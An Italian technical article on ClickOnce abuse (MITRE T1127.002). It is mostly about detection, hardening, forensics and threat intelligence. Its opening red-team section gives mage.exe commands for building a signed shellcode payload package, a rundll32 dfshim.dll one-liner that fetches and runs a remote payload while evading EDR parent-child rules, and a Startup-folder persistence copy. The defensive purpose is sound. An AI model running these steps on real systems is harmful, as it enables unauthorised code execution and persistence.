Abuso ClickOnce: ClickOnce (T1127.002)

Il red team che vuole simulare T1127.002 in laboratorio parte dalla costruzione di un pacchetto ClickOnce firmato con certificato self-signed o code-signing legittimo di test. Lo strumento nativo è mage.exe (Manifest Generation and Editing Tool), distribuito con il Windows SDK (gratuito con licenza Visual Studio Community), che consente di produrre i manifesti .application e .manifest necessari.

La procedura tipica prevede la compilazione di un assembly .NET payload (una console app o WPF che esegue shellcode via Process.Start o Assembly.Load), la generazione del manifesto applicativo con mage -New Application -ToFile app.manifest -Name PayloadApp -Version 1.0.0.0 -FromDirectory .\bin e successivamente del manifesto di deployment con mage -New Deployment -ToFile app.application -Name PayloadApp -Version 1.0.0.0 -AppManifest app.manifest -Install true. La firma avviene con mage -Sign app.application -CertFile test.pfx -Password .

Il pacchetto viene poi ospitato su un web server HTTP semplice (Python http.server o IIS locale). L'operatore invia alla vittima un link al file .application: Internet Explorer/Edge legacy o un click esplicito su .NET Framework attiva dfsvc.exe che scarica e lancia il payload sotto il contesto utente, senza UAC. In ambiente lab-safe, verificate che il target abbia .NET Framework 3.5+ e che il TrustManager PromptingLevel per zona Internet sia impostato su Enabled (default storico).

Per la variante rundll32, la catena si riduce a un comando eseguibile in memoria: rundll32.exe dfshim.dll,ShOpenVerbApplication1 http:///payload.application. Questa forma è particolarmente utile in scenari di lateral movement dove si dispone già di command execution ma si vuole spawnare un processo figlio sotto dfsvc.exe per bypassare parent-child rule di alcuni EDR.

Come persistence, Covenant e Sliver (entrambi open source) supportano moduli custom per lo scenario ClickOnce; in alternativa il framework PoshC2 (open source) accetta payload .NET compatibili. Per il drop nella Startup Folder, un semplice copy payload.appref-ms "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" concatena T1127.002 con T1547.001.

Durante l'esercizio documentate ogni artefatto generato — hash del .application, certificato usato, URL host — per facilitare il purple teaming successivo. Evitate di firmare payload con certificati commerciali acquistati per attività non autorizzate: costituisce reato in molte giurisdizioni.

La detection di T1127.002 ruota attorno alla catena comportamentale codificata in DET0191/AN0550: monitorare dfsvc.exe come parent process anomalo e l'invocazione di dfshim.dll tramite rundll32.exe con verbo ShOpenVerbApplication.

La telemetria essenziale arriva da Sysmon (open source, Microsoft Sysinternals) con configurazione robusta tipo il template di SwiftOnSecurity o Olaf Hartong (entrambi open source su GitHub). Gli EventID chiave sono Event ID 1 (Process Create) per catturare la linea di comando completa di rundll32.exe e i child di dfsvc.exe, Event ID 7 (Image Load) per registrare il caricamento di dfshim.dll in processi non attesi, ed Event ID 3 (Network Connection) per correlare download di file .application da domini esterni.

Una query KQL Microsoft Defender / Sentinel efficace filtra i processi il cui parent è dfsvc.exe escludendo la whitelist di applicazioni ClickOnce legittime aziendali (parametro KnownClickOnceApps della strategia). Esempio concettuale: cercare DeviceProcessEvents dove InitiatingProcessFileName == "dfsvc.exe" e FileName non sia in una allowlist gestita. Una seconda regola parallela intercetta rundll32.exe con command line contenente dfshim.dll e ShOpenVerbApplication: pattern raro in ambienti enterprise e ad alto valore diagnostico.

Dal lato D3FEND, le contromisure applicabili includono Process Lineage Analysis (D3-PLA) e Executable Denylisting (D3-EDL) per bloccare hash noti di payload ClickOnce malevoli. La finestra di correlazione consigliata è 0–10 minuti tra l'esecuzione di dfsvc.exe/rundll32.exe e il caricamento moduli o lo spawn di processi figli anomali.

Sul fronte log sources aggiuntivi, il canale WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode offre segnali su tentativi di caricare moduli non firmati; abbinato al WinEventLog:Security (EventID 4688 con command line auditing abilitato via GPO) fornisce ridondanza contro il tampering di Sysmon.

I falsi positivi più comuni derivano da applicazioni line-of-business legittime distribuite via ClickOnce — tipiche in ambienti finance con app custom .NET. La mitigazione è costruire e mantenere aggiornata la KnownClickOnceApps whitelist per path di installazione (*%LOCALAPPDATA%\Apps\2.0*) e publisher del manifesto firmato.

Complementare alla detection: enforcement delle policy M1021 e M1042 via GPO scrivendo la chiave HKLM\SOFTWARE\Microsoft.NETFramework\Security\TrustManager\PromptingLevel con valore Internet:Disabled. Configurate un alert SIEM sulla modifica non autorizzata di questa chiave: un attaccante con privilegi locali potrebbe tentare di ripristinare il prompting.

L'analisi forense post-incidente su T1127.002 inizia dai path di installazione ClickOnce, dove Windows persiste le applicazioni deployate. La directory principale è *%LOCALAPPDATA%\Apps\2.0*, organizzata in una struttura a hash con sottocartelle contenenti gli assembly .NET, i manifesti .manifest e .application, e i file di deployment. La sola presenza di applicazioni recenti in questo path merita triage se non correlate a software aziendale noto.

Gli artefatti prioritari per la timeline:

• Prefetch (C:\Windows\Prefetch\DFSVC.EXE-.pf*): conferma l'esecuzione di dfsvc.exe con timestamp precisi di first/last execution
• ShimCache/AmCache (C:\Windows\AppCompat\Programs\Amcache.hve): registra gli hash SHA-1 degli eseguibili lanciati, utile per identificare il payload .NET reale sotto *%LOCALAPPDATA%\Apps\2.0*
• UserAssist (NTUSER.DAT → Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist): traccia il click utente su file .appref-ms dal menu Start
• BAM/DAM (SYSTEM\CurrentControlSet\Services\bam\State\UserSettings<SID>): timestamp di esecuzione dei processi utente

Per parsare rapidamente questi hive raccomando RegRipper di Harlan Carvey (open source) con plugin amcache, userassist, bam, e AmcacheParser di Eric Zimmerman (open source), utile per estrarre gli hash e correlarli a VirusTotal (freemium).

La Startup Folder utente (*%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup*) va ispezionata alla ricerca di file .appref-ms che puntano a manifesti ClickOnce ospitati remotamente: pattern chiaro di persistence tramite T1547.001 concatenato a T1127.002. Estraete il contenuto XML del .application con un editor di testo: campi deploymentProvider codebase rivelano l'URL originario del server di distribuzione, spesso ancora attivo o risolvibile via passive DNS.

Sul fronte network, i log del proxy web e del DNS resolver aziendale mostrano le connessioni verso il codebase URL nella finestra temporale di prima installazione. Se disponibile, il canale Sysmon Event ID 22 (DNSEvent) fornisce risoluzioni DNS pre-connessione.

Per memory forensics con Volatility 3 (open source) o MemProcFS (open source), i plugin windows.pslist e windows.dlllist identificano processi dfsvc.exe attivi al momento dell'acquisizione e i moduli dfshim.dll caricati in rundll32.exe. Il plugin windows.cmdline recupera l'intera command line, cruciale per catturare l'URL passato a ShOpenVerbApplication1.

Correlare infine con il log applicativo Microsoft-Windows-ClickOnce/Operational, spesso trascurato: registra esplicitamente eventi di installazione, aggiornamento e trust prompt del framework ClickOnce, offrendo timeline autoritativa dell'attività lecita e illecita.

I dati MITRE ATT&CK forniti non associano gruppi APT, software o campagne specifiche alla tecnica T1127.002. Questa assenza documentale non implica scarso utilizzo operativo, ma piuttosto una sotto-rappresentazione nel corpus MITRE, probabilmente perché ClickOnce viene classificato in molti report incident come sotto-caso di rundll32 abuse (T1218.011) o come vettore di User Execution (T1204) senza breakdown della sub-technique.

Dal punto di vista dell'analista di threat intelligence, il valore strategico di T1127.002 risiede in tre proprietà che la rendono attraente per attori diversi lungo lo spettro di sofisticazione:

Basso costo di weaponization: la generazione di un pacchetto ClickOnce firmato con certificato self-signed richiede solo Windows SDK e conoscenza base di .NET. Questo abbatte la barriera d'ingresso e rende la tecnica adatta sia a commodity crimeware sia a operatori state-sponsored che vogliono confondere l'attribuzione mimando TTP di attori meno sofisticati.

Trust utente elevato: la finestra di dialogo ClickOnce mostra il publisher del certificato firmatario. Un attaccante che compromette una CA subordinata o acquista un certificato code-signing con identità fittizia (mercato grigio con costi tra qualche centinaio e alcune migliaia di dollari) ottiene un prompt di installazione con banner "Publisher: [Nome Legittimo]" difficile da distinguere per un utente medio.

Bypass privilegi: l'assenza di richiesta UAC differenzia ClickOnce da vettori più rumorosi come MSI package installation, riducendo la probabilità che l'utente contatti l'help desk.

Dal punto di vista dei trend prevedibili, l'adozione crescente di Application Control (WDAC, AppLocker) in ambienti enterprise sta spingendo gli attaccanti verso Living-Off-the-Land Binaries firmati Microsoft; dfsvc.exe e dfshim.dll rientrano pienamente in questa categoria e ci si aspetta una crescita del loro utilizzo in operazioni di intrusione mirate, in particolare in scenari dove l'attaccante deve mantenere execution in contesto low-privileged senza attivare EDR con parent-child rule aggressive su rundll32.exe.

Per i team di threat intelligence, raccomando di arricchire il proprio tracking con hunting query dedicate su dfsvc.exe child spawn nelle piattaforme XDR aziendali e di monitorare le community di offensive tooling (repository GitHub di framework C2 open source) per pull request che aggiungono moduli ClickOnce. L'apparizione di feature dedicate in tool come Sliver o Havoc (entrambi open source) rappresenta un leading indicator di prossima adozione operativa da parte di threat actor.

Infine, sul fronte defensive intelligence, condividere hash di file .application malevoli tramite piattaforme come MISP (open source) o VirusTotal (freemium) accelera la detection collettiva vista la scarsità storica di indicatori pubblici su questa sub-technique.

MITRE ATT&CK T1127.002 (Trusted Developer Utilities Proxy Execution: ClickOnce), tattica TA0005. Mitigazioni M1021, M1042, M1045. Detection strategy DET0191 con analytic AN0550. MITRE D3FEND per contromisure Process Lineage Analysis ed Executable Denylisting. Parti dei contenuti su tool operativi (mage.exe, Sysmon, RegRipper, AmcacheParser, Volatility 3, MISP) derivano da conoscenza professionale verificabile su documentazione ufficiale e repository pubblici.